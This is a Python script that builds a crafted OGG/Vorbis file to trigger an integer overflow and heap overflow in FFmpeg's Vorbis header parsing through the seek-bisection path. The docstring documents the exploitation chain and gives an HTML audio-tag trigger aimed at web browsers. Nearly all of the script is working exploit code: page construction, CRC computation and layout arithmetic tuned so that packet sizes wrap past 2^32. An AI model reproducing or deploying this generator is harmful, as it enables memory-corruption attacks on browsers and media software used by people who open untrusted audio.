#!/usr/bin/env python3
"""
Generate a malicious OGG/Vorbis file that triggers integer overflow in
fixup_vorbis_headers() (third_party/ffmpeg/libavformat/oggparsevorbis.c)
via the seek-bisection path in ogg_read_seek().

The file is laid out so that two successive ff_gen_search bisection probes
each assemble one >2 GiB Vorbis header packet for a freshly-created stream,
with ogg_reset() between probes preserving os->private. The third header
(type-5) triggers fixup_vorbis_headers() with len[0]+len[1]+len[2] > 2^32,
which wraps to a small positive int -> tiny av_realloc -> heap overflow in
av_xiphlacing() / memcpy().

Layout:
  [HEAD]   S0 vorbis headers + a few S0 data pages (small granulepos)
  [FILL1]  S0 BOS-flagged filler pages (granule=-1) - keeps got_data=0, no pts
  [S1 R3]  S1 BOS (type-1, 30B) + S1 type-3 packet (~2.15 GiB)
  [MARK]   one S0 data page with granule=G_A   -> ends probe 1 with ts<target
  [FILL2]  S0 BOS-flagged filler pages
  [S1 R5]  S1 type-5 packet (~2.15 GiB)        -> probe 2 -> overflow
  [PAD]    >MAX_PAGE_SIZE zero bytes (so ogg_get_length skips S1 region)
  [TAIL]   S0 data pages with very large granulepos (defines duration)

Trigger from a web page:
  <audio id=a src="evil.ogg"></audio>
  a.addEventListener('loadedmetadata', () => a.currentTime = SEEK_SECONDS);

The generator computes SEEK_SECONDS (and G_A) so that:
  probe1 lands inside FILL1, probe2 lands inside FILL2.
"""
import struct, sys, os, json, argparse

# ---------------------------------------------------------------- OGG CRC
_CRC_TAB = []
for i in range(256):
    r = i << 24
    for _ in range(8):
        r = ((r << 1) ^ 0x04C11DB7) if (r & 0x80000000) else (r << 1)
        r &= 0xFFFFFFFF
    _CRC_TAB.append(r)

def ogg_crc(data: bytes) -> int:
    c = 0
    for b in data:
        c = ((c << 8) & 0xFFFFFFFF) ^ _CRC_TAB[((c >> 24) & 0xFF) ^ b]
    return c

def make_page(serial, seq, granule, flags, segments, payload):
    assert sum(segments) == len(payload), (sum(segments), len(payload))
    assert len(segments) <= 255
    hdr = b'OggS' + bytes([0, flags]) + struct.pack('<q', granule) + \
          struct.pack('<I', serial) + struct.pack('<I', seq & 0xFFFFFFFF) + \
          b'\x00\x00\x00\x00' + bytes([len(segments)]) + bytes(segments)
    page = hdr + payload
    c = ogg_crc(page)
    return page[:22] + struct.pack('<I', c) + page[26:]

def lace(n):
    """Lacing for a complete packet of n bytes (final segment < 255)."""
    full, rem = divmod(n, 255)
    return [255]*full + [rem]

# ---------------------------------------------------------------- Base S0 data
# Real Vorbis headers/packets so that init + av_vorbis_parse succeed.
SFX = open(os.path.join(os.path.dirname(__file__), 'sfx.ogg'), 'rb').read()
S0_ID = SFX[28:28+30]
SAMPLE_RATE = struct.unpack('<I', S0_ID[12:16])[0]
P1_NSEGS = SFX[58+26]
P1_SEGS = list(SFX[58+27:58+27+P1_NSEGS])
P1_PAYLOAD = SFX[58+27+P1_NSEGS:58+27+P1_NSEGS+sum(P1_SEGS)]
P2_NSEGS = SFX[3332+26]
P2_SEGS = list(SFX[3332+27:3332+27+P2_NSEGS])
P2_PAYLOAD = SFX[3332+27+P2_NSEGS:3332+27+P2_NSEGS+sum(P2_SEGS)]
PKT_SMALL = P2_PAYLOAD[:P2_SEGS[0]]  # 20-byte valid Vorbis audio packet

S0 = 0x11111111
S1 = 0x22222222

def s1_id_header():
    return (b'\x01vorbis' + struct.pack('<I', 0) + bytes([1]) +
            struct.pack('<I', 44100) + struct.pack('<i', 0)*3 +
            bytes([0xb8, 1]))

# ---------------------------------------------------------------- Giant packet
def giant_packet_disk_size(total_size):
    """Bytes on disk for a packet of `total_size` bytes (first+mid+last pages)."""
    CHUNK = 255*255
    if total_size <= CHUNK:
        segs = lace(total_size)
        return 27 + len(segs) + total_size
    n_full = total_size // CHUNK
    rem = total_size - n_full * CHUNK
    if rem == 0:
        n_full -= 1; rem = CHUNK
    # first + (n_full-1) mid pages of 65307 each, + last page
    last_segs = lace(rem)
    return n_full * (27+255+CHUNK) + (27 + len(last_segs) + rem)

def write_giant_packet(f, serial, prefix, total_size, seq):
    CHUNK = 255*255
    if total_size <= CHUNK:
        pl = (prefix + b'\x00'*(total_size))[:total_size]
        f.write(make_page(serial, seq, -1, 0x00, lace(total_size), pl))
        return
    # First page: full CHUNK, no CONT
    pl1 = (prefix + b'\x00'*(CHUNK))[:CHUNK]
    f.write(make_page(serial, seq, -1, 0x00, [255]*255, pl1))
    written = CHUNK
    remaining = total_size - written
    n_mid = remaining // CHUNK
    rem = remaining - n_mid * CHUNK
    if rem == 0:
        n_mid -= 1; rem = CHUNK
    if n_mid > 0:
        mid = make_page(serial, seq, -1, 0x01, [255]*255, b'\x00'*CHUNK)
        BATCH = 2000
        blob = mid * BATCH
        for _ in range(n_mid // BATCH):
            f.write(blob)
        if n_mid % BATCH:
            f.write(mid * (n_mid % BATCH))
    # Last page: CONT, terminating segment < 255
    f.write(make_page(serial, seq, -1, 0x01, lace(rem), b'\x00'*rem))

# ---------------------------------------------------------------- Main
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('-o', '--output', default='evil.ogg')
    ap.add_argument('--small', action='store_true',
                    help='Use 1 MiB packets (path test only, no overflow)')
    ap.add_argument('--fill1-mb', type=float, default=4.0)
    ap.add_argument('--fill2-mb', type=float, default=0.5)
    ap.add_argument('--ts-max', type=int, default=10**12)
    ap.add_argument('--head-packets', type=int, default=20)
    args = ap.parse_args()

    if args.small:
        PKT3 = 1*1024*1024
        PKT5 = 1*1024*1024
    else:
        # 30 + PKT3 + PKT5 wraps 2^32 to 100 -> buf_len = 100 + 0 + 64 = 164.
        PKT3 = 2147483683
        PKT5 = 2147483683

    # ---- Precompute layout offsets so we can pick target_ts deterministically.
    # Big filler page: BOS, granule=-1, one 65024-byte packet.
    FILLER_PL = b'\x00' * 65024
    FILLER = make_page(S0, 0, -1, 0x02, [255]*254 + [254], FILLER_PL)
    FPSZ = len(FILLER)  # 65306

    head_size = 58 + (27+P1_NSEGS+sum(P1_SEGS)) + args.head_packets*(27+1+len(PKT_SMALL))
    data_offset = 58 + (27+P1_NSEGS+sum(P1_SEGS))
    n_fill1 = max(2, int(args.fill1_mb*1024*1024) // FPSZ)
    fill1_size = n_fill1 * FPSZ
    s1_bos_off = head_size + fill1_size
    type3_disk = giant_packet_disk_size(PKT3)
    mark_off = s1_bos_off + 58 + type3_disk
    mark_size = 27+1+len(PKT_SMALL)
    n_fill2 = max(2, int(args.fill2_mb*1024*1024) // FPSZ)
    fill2_size = n_fill2 * FPSZ
    type5_off = mark_off + mark_size + fill2_size
    type5_disk = giant_packet_disk_size(PKT5)
    pad_size = 70000
    n_tail = 5
    tail_off = type5_off + type5_disk + pad_size
    filesize = tail_off + n_tail*(27+1+len(PKT_SMALL))

    # ff_find_last_ts will return ts_max ~= last_gp - pkt_duration; we observed
    # pkt_duration=128 for PKT_SMALL. pos_max = position of last tail page.
    PKT_DUR = 128
    last_tail_gp = args.ts_max
    ts_max_est = last_tail_gp - PKT_DUR
    pos_max_est = tail_off + (n_tail-1)*(27+1+len(PKT_SMALL))
    # Index entry from find_stream_info: pos=data_offset, ts = first_gp - PKT_DUR.
    first_gp = 1024
    pos_min_est = data_offset
    ts_min_est = first_gp - PKT_DUR

    # Pick target_ts so probe1 lands at center of FILL1.
    fill1_mid = head_size + fill1_size // 2
    # probe1 = (target - ts_min)*(pos_max-pos_min)/(ts_max-ts_min) + pos_min
    target_ts = round((fill1_mid - pos_min_est) * (ts_max_est - ts_min_est)
                      / (pos_max_est - pos_min_est)) + ts_min_est
    seek_seconds = target_ts / SAMPLE_RATE
    # G_A: marker granule. After probe1, ts_min' = G_A - PKT_DUR, pos_min' = mark_off.
    # probe2 - mark_off = (target - (G_A-PKT_DUR))*(pos_max-mark_off)/(ts_max-(G_A-PKT_DUR)).
    # With G_A = target_ts -> probe2 - mark_off ~= PKT_DUR*(pos_max-mark_off)/(ts_max-target_ts).
    G_A = target_ts
    p2_delta = PKT_DUR * (pos_max_est - mark_off) / (ts_max_est - (G_A-PKT_DUR))
    assert 0 < p2_delta < fill2_size, f'p2_delta={p2_delta} fill2={fill2_size}'

    layout = dict(
        data_offset=data_offset, head_end=head_size,
        fill1_end=s1_bos_off, s1_bos=s1_bos_off,
        s1_type3_end=mark_off, mark_pos=mark_off,
        fill2_end=type5_off, s1_type5_start=type5_off,
        tail_start=tail_off, filesize=filesize,
        pos_min_est=pos_min_est, ts_min_est=ts_min_est,
        pos_max_est=pos_max_est, ts_max_est=ts_max_est,
        target_ts=target_ts, seek_seconds=seek_seconds,
        G_A=G_A, probe1_est=fill1_mid, probe2_delta_est=p2_delta,
        pkt3_size=PKT3, pkt5_size=PKT5,
        sample_rate=SAMPLE_RATE, filler_page_size=FPSZ,
    )

    # ---- Write the file.
    f = open(args.output, 'wb')
    # HEAD
    f.write(make_page(S0, 0, 0, 0x02, [30], S0_ID))
    f.write(make_page(S0, 1, 0, 0x00, P1_SEGS, P1_PAYLOAD))
    assert f.tell() == data_offset
    gp = 0
    for i in range(args.head_packets):
        gp += 1024
        f.write(make_page(S0, 2+i, gp, 0x00, [len(PKT_SMALL)], PKT_SMALL))
    assert f.tell() == head_size, (f.tell(), head_size)
    # FILL1
    f.write(FILLER * n_fill1)
    assert f.tell() == s1_bos_off
    # S1 BOS + type-3
    f.write(make_page(S1, 0, 0, 0x02, [30], s1_id_header()))
    write_giant_packet(f, S1, b'\x03vorbis\xff\xff\xff\xff', PKT3, 1)
    assert f.tell() == mark_off, (f.tell(), mark_off)
    # MARK
    f.write(make_page(S0, 0, G_A, 0x00, [len(PKT_SMALL)], PKT_SMALL))
    # FILL2
    f.write(FILLER * n_fill2)
    assert f.tell() == type5_off
    # S1 type-5
    write_giant_packet(f, S1, b'\x05vorbis', PKT5, 2)
    # PAD + TAIL
    f.write(b'\x00' * pad_size)
    assert f.tell() == tail_off
    for i in range(n_tail):
        f.write(make_page(S0, 0, last_tail_gp - (n_tail-1-i)*1024, 0x00,
                          [len(PKT_SMALL)], PKT_SMALL))
    assert f.tell() == filesize
    f.close()

    with open(args.output + '.layout.json', 'w') as lf:
        json.dump(layout, lf, indent=2)
    for k, v in layout.items():
        print(f'{k:20s} = {v}')
    print(f'\n>>> Seek to {seek_seconds:.6f} seconds (target_ts={target_ts}) <<<')

if __name__ == '__main__':
    main()